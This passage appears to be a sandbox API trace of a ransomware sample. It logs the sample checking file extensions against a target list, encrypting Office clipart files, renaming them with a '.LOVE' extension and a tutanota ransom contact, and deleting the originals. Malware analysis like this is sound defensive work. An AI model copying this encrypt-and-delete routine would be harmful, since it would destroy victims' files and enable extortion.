Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0206.560] lstrlenW (lpString=".jpg") returned 4 [0206.560] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.566] GetLastError () returned 0x0 [0206.566] ReadFile (in: hFile=0x368, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xd32, lpOverlapped=0x0) returned 1 [0206.725] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xd40, lpOverlapped=0x0) returned 1 [0207.029] ReadFile (in: hFile=0x368, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.029] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.029] SetEndOfFile (hFile=0x374) returned 1 [0207.029] CloseHandle (hObject=0x374) returned 1 [0207.029] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.029] SetEndOfFile (hFile=0x368) returned 1 [0207.030] CloseHandle (hObject=0x368) returned 1 [0207.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0207.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0207.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0207.030] lstrlenW (lpString=".doc") returned 4 [0207.031] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0207.031] lstrlenW (lpString=".docx") returned 5 [0207.031] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0207.031] lstrlenW (lpString=".pdf") returned 4 [0207.031] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0207.031] lstrlenW (lpString=".xls") returned 4 [0207.031] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0207.031] lstrlenW (lpString=".xlsx") returned 5 [0207.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0207.031] lstrlenW (lpString=".ppt") returned 4 [0207.031] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0207.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0207.031] lstrlenW (lpString=".zip") returned 4 [0207.031] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0207.031] lstrlenW (lpString=".rar") returned 4 [0207.031] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0207.031] lstrlenW (lpString=".bz2") returned 4 [0207.031] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0207.031] lstrlenW (lpString=".7z") returned 3 [0207.031] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0207.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0207.031] lstrlenW (lpString=".dbf") returned 4 [0207.031] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0207.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0207.031] lstrlenW (lpString=".1cd") returned 4 [0207.031] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0207.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0207.031] lstrlenW (lpString=".jpg") returned 4 [0207.031] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0207.032] GetLastError () returned 0x0 [0207.032] ReadFile (in: hFile=0x368, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x2a50, lpOverlapped=0x0) returned 1 [0207.085] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2a60, lpOverlapped=0x0) returned 1 [0207.086] ReadFile (in: hFile=0x368, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.086] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.086] SetEndOfFile (hFile=0x374) returned 1 [0207.086] CloseHandle (hObject=0x374) returned 1 [0207.086] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.087] SetEndOfFile (hFile=0x368) returned 1 [0207.087] CloseHandle (hObject=0x368) returned 1 [0207.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0207.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0207.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0207.088] lstrlenW (lpString=".doc") returned 4 [0207.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.088] lstrlenW (lpString=".docx") returned 5 [0207.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.088] lstrlenW (lpString=".pdf") returned 4 [0207.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.088] lstrlenW (lpString=".xls") returned 4 [0207.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.088] lstrlenW (lpString=".xlsx") returned 5 [0207.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.088] lstrlenW (lpString=".ppt") returned 4 [0207.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0207.088] lstrlenW (lpString=".zip") returned 4 [0207.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.088] lstrlenW (lpString=".rar") returned 4 [0207.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.088] lstrlenW (lpString=".bz2") returned 4 [0207.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.088] lstrlenW (lpString=".7z") returned 3 [0207.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0207.088] lstrlenW (lpString=".dbf") returned 4 [0207.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0207.088] lstrlenW (lpString=".1cd") returned 4 [0207.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0207.089] lstrlenW (lpString=".jpg") returned 4 [0207.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.114] GetLastError () returned 0x0 [0207.114] ReadFile (in: hFile=0x31c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x63c, lpOverlapped=0x0) returned 1 [0207.149] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x640, lpOverlapped=0x0) returned 1 [0207.150] ReadFile (in: hFile=0x31c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.150] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.150] SetEndOfFile (hFile=0x364) returned 1 [0207.150] CloseHandle (hObject=0x364) returned 1 [0207.150] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.150] SetEndOfFile (hFile=0x31c) returned 1 [0207.151] CloseHandle (hObject=0x31c) returned 1 [0207.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0207.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0207.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0207.152] lstrlenW (lpString=".doc") returned 4 [0207.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.152] lstrlenW (lpString=".docx") returned 5 [0207.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.152] lstrlenW (lpString=".pdf") returned 4 [0207.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.152] lstrlenW (lpString=".xls") returned 4 [0207.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.152] lstrlenW (lpString=".xlsx") returned 5 [0207.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.152] lstrlenW (lpString=".ppt") returned 4 [0207.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0207.152] lstrlenW (lpString=".zip") returned 4 [0207.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.152] lstrlenW (lpString=".rar") returned 4 [0207.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.152] lstrlenW (lpString=".bz2") returned 4 [0207.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.152] lstrlenW (lpString=".7z") returned 3 [0207.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0207.153] lstrlenW (lpString=".dbf") returned 4 [0207.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0207.153] lstrlenW (lpString=".1cd") returned 4 [0207.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0207.153] lstrlenW (lpString=".jpg") returned 4 [0207.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.153] GetLastError () returned 0x0 [0207.153] ReadFile (in: hFile=0x31c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0207.257] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0207.258] ReadFile (in: hFile=0x31c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.259] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.259] SetEndOfFile (hFile=0x364) returned 1 [0207.260] CloseHandle (hObject=0x364) returned 1 [0207.263] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.263] SetEndOfFile (hFile=0x31c) returned 1 [0207.264] CloseHandle (hObject=0x31c) returned 1 [0207.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0207.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0207.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0207.265] lstrlenW (lpString=".doc") returned 4 [0207.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.265] lstrlenW (lpString=".docx") returned 5 [0207.265] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.265] lstrlenW (lpString=".pdf") returned 4 [0207.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.265] lstrlenW (lpString=".xls") returned 4 [0207.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.265] lstrlenW (lpString=".xlsx") returned 5 [0207.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.265] lstrlenW (lpString=".ppt") returned 4 [0207.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0207.265] lstrlenW (lpString=".zip") returned 4 [0207.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.265] lstrlenW (lpString=".rar") returned 4 [0207.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.265] lstrlenW (lpString=".bz2") returned 4 [0207.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.266] lstrlenW (lpString=".7z") returned 3 [0207.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0207.266] lstrlenW (lpString=".dbf") returned 4 [0207.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0207.266] lstrlenW (lpString=".1cd") returned 4 [0207.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0207.266] lstrlenW (lpString=".jpg") returned 4 [0207.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.266] GetLastError () returned 0x0 [0207.266] ReadFile (in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x83c, lpOverlapped=0x0) returned 1 [0207.288] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x840, lpOverlapped=0x0) returned 1 [0207.290] ReadFile (in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.290] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.290] SetEndOfFile (hFile=0x374) returned 1 [0207.290] CloseHandle (hObject=0x374) returned 1 [0207.290] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.290] SetEndOfFile (hFile=0x2f0) returned 1 [0207.291] CloseHandle (hObject=0x2f0) returned 1 [0207.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0207.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0207.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0207.292] lstrlenW (lpString=".doc") returned 4 [0207.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.292] lstrlenW (lpString=".docx") returned 5 [0207.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.292] lstrlenW (lpString=".pdf") returned 4 [0207.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.292] lstrlenW (lpString=".xls") returned 4 [0207.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.292] lstrlenW (lpString=".xlsx") returned 5 [0207.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.292] lstrlenW (lpString=".ppt") returned 4 [0207.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0207.292] lstrlenW (lpString=".zip") returned 4 [0207.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.292] lstrlenW (lpString=".rar") returned 4 [0207.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.292] lstrlenW (lpString=".bz2") returned 4 [0207.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.292] lstrlenW (lpString=".7z") returned 3 [0207.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0207.292] lstrlenW (lpString=".dbf") returned 4 [0207.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0207.292] lstrlenW (lpString=".1cd") returned 4 [0207.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0207.293] lstrlenW (lpString=".jpg") returned 4 [0207.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.297] GetLastError () returned 0x0 [0207.297] ReadFile (in: hFile=0x37c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x928, lpOverlapped=0x0) returned 1 [0207.348] WriteFile (in: hFile=0x31c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x930, lpOverlapped=0x0) returned 1 [0207.349] ReadFile (in: hFile=0x37c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.349] WriteFile (in: hFile=0x31c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.349] SetEndOfFile (hFile=0x31c) returned 1 [0207.349] CloseHandle (hObject=0x31c) returned 1 [0207.349] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.350] SetEndOfFile (hFile=0x37c) returned 1 [0207.350] CloseHandle (hObject=0x37c) returned 1 [0207.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0207.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0207.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0207.353] lstrlenW (lpString=".doc") returned 4 [0207.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.353] lstrlenW (lpString=".docx") returned 5 [0207.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.353] lstrlenW (lpString=".pdf") returned 4 [0207.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.353] lstrlenW (lpString=".xls") returned 4 [0207.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.353] lstrlenW (lpString=".xlsx") returned 5 [0207.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.353] lstrlenW (lpString=".ppt") returned 4 [0207.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0207.353] lstrlenW (lpString=".zip") returned 4 [0207.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.353] lstrlenW (lpString=".rar") returned 4 [0207.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.353] lstrlenW (lpString=".bz2") returned 4 [0207.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.353] lstrlenW (lpString=".7z") returned 3 [0207.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0207.353] lstrlenW (lpString=".dbf") returned 4 [0207.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0207.353] lstrlenW (lpString=".1cd") returned 4 [0207.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0207.354] lstrlenW (lpString=".jpg") returned 4 [0207.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.354] GetLastError () returned 0x0 [0207.354] ReadFile (in: hFile=0x37c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xd58, lpOverlapped=0x0) returned 1 [0207.411] WriteFile (in: hFile=0x31c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xd60, lpOverlapped=0x0) returned 1 [0207.412] ReadFile (in: hFile=0x37c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.413] WriteFile (in: hFile=0x31c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.413] SetEndOfFile (hFile=0x31c) returned 1 [0207.413] CloseHandle (hObject=0x31c) returned 1 [0207.413] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.413] SetEndOfFile (hFile=0x37c) returned 1 [0207.414] CloseHandle (hObject=0x37c) returned 1 [0207.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) 